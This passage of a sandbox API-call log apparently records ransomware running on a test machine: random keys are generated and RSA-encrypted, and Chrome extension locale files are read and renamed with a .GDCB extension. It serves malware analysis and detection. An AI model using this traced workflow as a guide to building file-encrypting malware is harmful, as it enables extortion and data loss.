GetLastError () returned 0x0 [0279.545] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.545] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.547] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e3e0) returned 1 [0279.547] CryptGetKeyParam (in: hKey=0x678e3e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.547] CryptEncrypt (in: hKey=0x678e3e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.547] GetLastError () returned 0x0 [0279.547] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.547] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.549] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.552] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.554] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x3e5d, lpOverlapped=0x0) returned 1 [0279.564] VirtualAlloc (lpAddress=0x0, dwSize=0x3e60, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.570] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json.gdcb")) returned 1 [0279.576] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0279.580] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.582] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.582] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.582] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0279.582] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.585] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.622] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.622] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.622] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.623] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.625] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e420) returned 1 [0279.625] CryptGetKeyParam (in: hKey=0x678e420, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.625] CryptEncrypt (in: hKey=0x678e420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.625] GetLastError () returned 0x0 [0279.625] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.625] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0279.627] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e460) returned 1 [0279.627] CryptGetKeyParam (in: hKey=0x678e460, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.627] CryptEncrypt (in: hKey=0x678e460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.627] GetLastError () returned 0x0 [0279.627] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0279.627] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.629] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.638] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.641] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x3f0c, lpOverlapped=0x0) returned 1 [0279.651] VirtualAlloc (lpAddress=0x0, dwSize=0x3f10, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.657] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json.gdcb")) returned 1 [0279.663] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0279.666] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.668] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.668] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.668] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0279.668] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.672] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.674] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.674] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.674] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.674] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0279.677] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e620) returned 1 [0279.677] CryptGetKeyParam (in: hKey=0x678e620, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.677] CryptEncrypt (in: hKey=0x678e620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.677] GetLastError () returned 0x0 [0279.677] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0279.677] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.680] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e6e0) returned 1 [0279.680] CryptGetKeyParam (in: hKey=0x678e6e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.680] CryptEncrypt (in: hKey=0x678e6e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.680] GetLastError () returned 0x0 [0279.680] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.680] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.681] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.684] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.687] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x5074, lpOverlapped=0x0) returned 1 [0279.711] VirtualAlloc (lpAddress=0x0, dwSize=0x5080, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.720] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json.gdcb")) returned 1 [0279.727] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0279.731] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.735] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.735] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.735] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.735] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.739] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.742] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.742] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.742] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.743] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0279.746] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f0a0) returned 1 [0279.746] CryptGetKeyParam (in: hKey=0x678f0a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.746] CryptEncrypt (in: hKey=0x678f0a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.746] GetLastError () returned 0x0 [0279.746] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.746] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0279.749] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678ed60) returned 1 [0279.754] CryptGetKeyParam (in: hKey=0x678ed60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.754] CryptEncrypt (in: hKey=0x678ed60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.754] GetLastError () returned 0x0 [0279.754] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0279.754] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.756] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.760] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.764] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x447a, lpOverlapped=0x0) returned 1 [0279.776] VirtualAlloc (lpAddress=0x0, dwSize=0x4480, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.783] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json.gdcb")) returned 1 [0279.789] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0279.793] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.795] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.795] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.796] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0279.796] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0279.799] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.802] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.802] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.802] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0279.803] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.806] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f020) returned 1 [0279.806] CryptGetKeyParam (in: hKey=0x678f020, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.806] CryptEncrypt (in: hKey=0x678f020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.806] GetLastError () returned 0x0 [0279.806] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.806] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.808] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678eea0) returned 1 [0279.808] CryptGetKeyParam (in: hKey=0x678eea0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.808] CryptEncrypt (in: hKey=0x678eea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.809] GetLastError () returned 0x0 [0279.809] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.809] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.810] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.814] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.817] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x55a3, lpOverlapped=0x0) returned 1 [0279.825] VirtualAlloc (lpAddress=0x0, dwSize=0x55b0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.832] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json.gdcb")) returned 1 [0279.839] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.842] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.844] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.844] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.844] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.845] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0279.847] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.849] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.850] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.850] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.850] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.853] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678ed20) returned 1 [0279.853] CryptGetKeyParam (in: hKey=0x678ed20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, 